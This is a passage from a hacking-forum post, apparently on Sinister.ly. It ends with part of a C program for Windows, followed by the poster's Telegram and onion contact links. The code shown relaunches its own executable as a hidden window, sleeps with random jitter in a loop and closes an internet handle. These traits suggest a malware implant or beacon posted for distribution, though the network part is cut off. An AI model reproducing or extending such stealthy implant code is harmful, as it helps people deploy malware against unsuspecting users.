                GetModuleFileNameA(NULL, exePath, MAX_PATH);

                STARTUPINFOA si = { sizeof(si) };
                PROCESS_INFORMATION pi = {};
                si.dwFlags = STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;

                CreateProcessA(exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

                if (pi.hProcess) {
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                }

                break;
            }

            Sleep(GetRandomJitter());
        }

        InternetCloseHandle(hInternet);
    }

    return 0;
}
Sinister.ly: https://sinister.ly/User-RemyQ
Telegram: t.me/Evida_enc
Telegram: t.me/remyq_demo
Onion V3: evidaa3mhfdlyx4wbqvyri3xzslpgbl7qpuj5ijz2dbusfivn7nskpad.onion
0
Reply



Users browsing this thread: